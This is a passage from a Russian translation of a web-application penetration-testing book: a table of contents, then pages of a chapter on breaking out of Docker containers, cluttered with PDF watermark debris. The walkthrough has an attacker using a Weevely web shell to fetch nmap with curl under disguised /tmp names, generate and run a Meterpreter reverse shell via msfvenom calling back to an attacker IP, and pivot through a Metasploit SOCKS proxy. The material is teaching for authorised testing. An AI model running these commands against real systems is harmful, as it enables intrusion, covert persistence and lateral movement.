- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 362 Глава 13.Взлом контейнеров |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
389a11bfe68b770366a669 |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
10:hugetlb:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a1
1bfe68b770366a669
9:perf_event:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389 a11bfe68b770366a669
8:blkio:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bf
e68b770366a669
7:freezer:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11
bfe68b770366a669
6:devices:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11
bfe68b770366a669
5:memory:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11b
fe68b770366a669
4:cpuacct:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11
bfe68b770366a669
3:cpu:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe6
8b770366a669
2:cpuset:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11b
fe68b770366a669
В качестве еще одного способа подтвердить, что приложение выполняется внутри контейнера, можно взглянуть на список процессов.В типичных средах
Linuxидентификатор процесса(PID)1принадлежитinit,systemd илипохо-
жемудемону.Поскольку контейнеры–это минимальные среды,первым перечисленным процессом является демон,отвечающий за предоставление доступа к приложению. В случае с веб-приложениями двоичным файлам apache2, httpd, nginx или nodejs обычно назначается идентификатор 1.
weevely> ps 1 |
|
|
|
|
PID |
TTY |
STAT |
TIME |
COMMAND |
1 ? |
|
Ss |
0:01 |
apache2 -DFOREGROUND |
Осведомленность о ситуации
Теперь, когда у нас есть доступ к оболочке контейнера Docker, нужно посмот реть,чтоещеможнонайти.Какужеговорилось,контейнерыDockerнеявляют-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Осведомленность о ситуации 363 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
ся виртуальными машинами. Они содержат достаточно двоичных файлов для |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
работы приложения.
Поскольку у нас естьдоступ к оболочке контейнера,мы ограничены средой, которую он предоставляет. Например, если приложение не использует ifcon- fig, оно, скорее всего, не будет упаковано вместе с контейнером и поэтому будет недоступно для нас сейчас.
Мы можем подтвердить,что наша среда несколько ограничена, вызвав:
weevely> ifconfig
sh: 1: ifconfig: not found weevely> wget
sh: 1: wget: not found weevely> nmap
sh: 1: nmap: not found
Однако у нас есть доступ к команде curl, которую мы можем использовать вместо wget.
weevely> curl
curl: try 'curl --help' or 'curl --manual' for more information
В худшем случае мы также можем загрузить двоичные файлы с помощью команды Weevely :file_upload.
Чтобыперемещатьсяпоконтейнеруиегосети,намнужендоступкисполняемым файлам,таким как nmap иncat.К счастью,онидоступны в аккуратно организованном репозитории GitHub. На странице https://github.com/andrew-d/ static-binaries/ можно найти репозиторий static-binaries. Его автор – поль-
зователь с ником andrew-d (см. рис. 13.8).
Поскольку в контейнере нет двоичного файла nmap, его можно скачать с помощью команды curl и сделать его исполняемым с помощью команды chmod. Мы будем использовать /tmp/sess_[random] в качестве шаблона имени файла,чтобы попытаться подмешать его к файлам,создаваемым во время сессии, на случай если какой-нибудь администратор просматривает системную папку temp.
weevely > curl https://raw.githubusercontent.com/andrew-d/ static-binaries/master/binaries/linux/x86_64/nmap -o /tmp/sess_ IWxvbCBwaHAgc2Vzc2lvbnMu
% Total |
% Received |
% Xferd |
Average Speed |
Time |
Time |
Time |
||
Current |
|
|
|
|
|
|
|
|
|
|
|
|
Dload |
Upload |
Total |
Spent |
Left |
Speed |
|
|
|
|
|
|
|
|
100 5805k |
100 5805k |
0 |
0 |
669k |
0 |
0:00:08 |
0:00:08 |
--:--:-- |
1465k |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 364 Глава 13.Взлом контейнеров |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
weevely > chmod +x /tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
weevely >
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.13.8. Нас интересует папка binaries /linux/x86_64
Мы также можем загрузить ifconfig с компьютера злоумышленника с помощью команды Weevely :file_upload,поскольку в контейнере этого исполняемого файла тоже нет.У нас есть локальная копия ifconfig, которая прекрасно будетработать.Мы загрузим ее в папку целевой системы /tmp под фиктивным именем.
weevely > :file_upload /sbin/ifconfig /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j
Как и в случае с nmap, мы должны сделать файл исполняемым, используя команду chmod и параметр +x.
weevely > chmod +x /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j
Теперь, когда у нас есть инструменты, мы можем сориентироваться, запус тив недавно загруженную команду ifconfig.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
Осведомленность о ситуации |
|||
w Click |
to |
|
|
|
|
|
|||||
|
|
|
|
|
m |
|
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
|
weevely > /tmp/sess_IWxvbCB3aGF0J3MgdXAgZG9j |
||||||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.18.0.4 netmask 255.255.0.0 broadcast 0.0.0.0 ether 02:42:ac:12:00:04 txqueuelen 0 (Ethernet)
RX packets 413726 bytes 90828932 (86.6 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 342415 bytes 54527687 (52.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
365 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
[...]
Напомним,что контейнер Docker используетсобственную внутреннюю сеть отдельно от сети хоста. Если не указано иное, по умолчанию соседние приложения, размещенные в других контейнерах, будут подключаться к одной сети. Вданном случае сеть172.18.0.0/16доступна через интерфейс eth0.Это обеспечит путь к другим приложениям,которые находятся в рамках нашего задания.
Теперь,когдамызнаем,начтосмотреть,мыможемвызватьдвоичныйфайл nmap (/tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu) для быстрого служебного скани-
рования сети контейнера.
weevely > /tmp/sess_IWxvbCBwaHAgc2Vzc2lvbnMu -p1- 172.18.0.0/24 [...]
Nmap scan report for 172.18.0.1 Host is up (0.00079s latency). Not shown: 65534 closed ports PORT STATE SERVICE
22/tcp open ssh
8000/tcp open unknown
Nmap scan report for content_ssh_1.content_default (172.18.0.2) Host is up (0.00056s latency).
Not shown: 65534 closed ports PORT STATE SERVICE
22/tcp open ssh
8022/tcp open unknown
Nmap scan report for content_db_1.content_default (172.18.0.3) Host is up (0.00038s latency).
Not shown: 65535 closed ports PORT STATE SERVICE
3306/tcp open mysql
Nmap scan report for 8f4bca8ef241 (172.18.0.4)
Host is up (0.000090s latency).
Not shown: 65535 closed ports
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 366 Глава 13.Взлом контейнеров |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
PORT STATE SERVICE |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
80/tcp open http
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Nmap done: 256 IP addresses (4 hosts up) scanned in 8.97 seconds
IP-адрес 172.18.0.1, по-видимому, является хостом Docker, а SSH-служба защищена.
Служба MySQL на 172.18.0.3 также выглядит интересно, но эксплуатировать
еенетак просто.Вероятно,эту базуданных используетприложение WordPress. Мы могли бы вернуться назад, получить учетные данные из файла wp-con-
fig.php и попытаться сбросить данные, но можем быть ограничены в том, что можем сделать в системе с одним только доступом к SQL. Если наша цель – вырваться из контейнера и получить доступ к хосту, то, возможно, придется опробовать другой путь атаки. Не повредит сохранить эти учетные данные до концатеста.Можетпонадобиться взломать еще один набор учетных данных,а повторное использование пароля – распространенное явление.
Контейнер content_ssh_1 также выделяется, но, прежде чем мы сделаем что-нибудь еще, обновим нашу оболочку Weevely до более надежного сеанса Meterpreter. Meterpreter также имитирует функциональность множества исполняемых файлов Linux, которые могут быть недоступны, что делает нашу работу немного проще. Meterpreter – это скорее фрагмент вредоносной программы, которая позволит нам использовать хост Docker и его контейнеры в качестве точки поворота.
Поворот в данном случае – это техника, используемая для туннелирования трафика через уже скомпрометированный хост для достижения недоступной по-другому машины. Поскольку мы скомпрометировали контейнер, на котором размещается платформа блога, можем использовать его в качестве точки поворота для атаки на другие смежные контейнеры или даже на сам хост.
На компьютере злоумышленника в терминале Linux можем использовать MSFvenom для генерации простой реверсной нагрузки, которая будет подключаться обратно к нашей атакующей машине 192.168.1.193 на порту 443. MSFvenom – это приложение, предоставляемое MSF для создания переносимого вредоносного программного обеспечения с использованием любой из доступных полезных нагрузок. Традиционно после успешной эксплуатации системы с использованием одного из модулей Metasploit первый этап выполняется в целевой системе. Поскольку мы не использовали Metasploit для начального доступа к оболочке и хотим создать сеанс Meterpreter, можно сгенерировать автономную реверсную полезную нагрузку для ручного выполнения.
Команда msfvenom позволяетнам указатьжелаемую полезную нагрузку (-p),
в этом случае linux/x64/meterpreter/reverse_tcp; IP-адрес нашего атаку-
ющего компьютера, 192.168.1.193; порт, на котором вредоносная программа
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Осведомленность о ситуации 367 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
будет подключаться к нам, 443; и формат, в котором можно сохранить полу- |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ченный исполняемый файл (-f). В данном случае будем использовать формат двоичных файлов ELF.
root@kali:~# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.193 LPORT=443 -f elf > /root/tools/nix64_rev443
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 96 bytes
Final size of elf file: 216 bytes
Это вредоносное программное обеспечение будет представлять собой 64-битную полезную нагрузку reverse_tcp, которая подключается к нашему внешнему IP-адресу. Порт 443 увеличит вероятность успеха, если хост Docker будет находиться за агрессивным межсетевым экраном.
Перед тем как запустить только что сгенерированного вредоноса /root/ tools/nix64_rev443,нужно настроитьобработчик в Metasploit,который будет обрабатывать входящее соединение от скомпрометированного хоста.
Вернувшись в консоль Metasploit, мы должны загрузить модуль exploit/ multi/handler и настроить его с теми же значениями, которые указали для
msfvenom.
msf > use exploit/multi/handler
Нам нужно установить переменную PAYLOAD в значение, соответствующее значению нашей вредоносной программы.
msf exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp
LHOST и LPORT также должны отражать настройки вредоносного программного обеспечения, чтобы убедиться, что оно прослушивает соответствующий IP-адрес и порт.
msf exploit(handler) > set LHOST 192.168.1.193 LHOST => 192.168.1.193
msf exploit(handler) > set LPORT 443 LPORT => 443
Наконец, можно запустить модуль обработчика, чтобы создать слушателя и дождаться входящих сессий Meterpreter.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 368 Глава 13.Взлом контейнеров |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
msf exploit(handler) > run |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
[*]Started reverse TCP handler on 192.168.1.193:443
[*]Starting the payload handler...
Кактолько сделали это,загружаем и выполняем реверсную оболочку nix64_ rev443 в контейнере.Для этого можно использовать Weevely.
В консоли Weevely можем снова использовать команду :file_upload.
weevely > :file_upload /root/tools/nix64_rev443 /tmp/update.lst True
Поскольку вредоносное программное обеспечение находится во временной папке контейнера-жертвы, мы должны сделать его исполняемым с помощью команды chmod и в конце просто вызвать его напрямую.
weevely > chmod +x /tmp/update.lst weevely > /tmp/update.lst
МодульобработчикаMetasploitдолженбылсоздатьновыйсеансMeterpreter. Мы можем подтвердить, что реверсная оболочка Meterpreter работает, введя команду sysinfo.
[*] Sending stage (2854264 bytes) to 192.168.1.230
[*] Meterpreter session 1 opened (192.168.1.193:443 -> 192.168.1.230:43558)
meterpreter > sysinfo
Computer |
: |
172.18.0.4 |
|
OS |
: |
Debian 8.9 |
(Linux 3.13.0-128-generic) |
Architecture : |
x64 |
|
|
Meterpreter |
: x64/linux |
|
|
meterpreter > |
|
|
|
Как упоминалось ранее, поворот– это метод, который позволяет проксироватьтрафик через скомпрометированный хости атаковатьвнутреннюю сетьи то,что находится за ее пределами.
Metasploit обеспечивает функциональность маршрутизации, которую можно использовать для туннелирования TCP-трафика от нашего компьютера че-
рез сеанс Meterpreter.
Для этого нужно отправитьсеанс Meterpreter в фоновый режим.Соединение не будет разорвано, и мы сможем настроить сам Metasploit для правильной маршрутизации трафика через скомпрометированную систему.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
meterpreter > background |
|||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
[*] Backgrounding session 1...
Осведомленность о ситуации
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
369 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Сеанс Meterpreter,терпеливо ожидающий в фоновом режиме,позволяетдобавить новый маршрут Metasploit, используя знакомую команду route add.
msf exploit(handler) > route add 172.18.0.0 255.255.0.0 1 [*] Route added
msf exploit(handler) > route
IPv4 Active Routing Table
=========================
Subnet |
Netmask |
Gateway |
------ |
------- |
------- |
172.18.0.0255.255.0.0 Session 1
[*]There are currently no IPv6 routes defined. msf exploit(handler) >
Хотя эта команда похожа на то, что мы вводим в приглашение Linux, это не типичный сетевой маршрут. Он существует только внутри самого Metasploit. Еслимызапустимэксплойтизmsfconsole инацелимего,скажем,на172.18.0.1, трафик будет перенаправлен через сеанс Meterpreter и задача будет успешно выполнена. Однако за пределами Metasploit такой инструмент, как wpscan, не сможет найти цель.
Чтобы обойти это ограничение, можно настроить прокси-сервер SOCKS4, используя модуль auxiliary/server/socks4a. SOCKS – это протокол, который определяет стандартный способ маршрутизации сетевого трафика через прокси-сервер. Metasploit поддерживает работу сервера SOCKS (версия 4) и будет обрабатывать входящий трафик, как и любой прокси-сервер, с очень важным отличием. Прокси-сервер Metasploit, поскольку он находится в среде MSF, будет придерживаться таблицы маршрутизации MSF, которую мы недавно модифицировали. Любой трафик, который мы отправляем на него, будет обрабатываться в соответствии с маршрутами, определенными в нем. Это означает , что мы можем запросить, чтобы прокси перенаправил наш трафик на 172.168.0.0/16,и Metasploit будетдостаточно умным,чтобы отправлять этот трафик через сеанс Meterpreter в фоновом режиме.
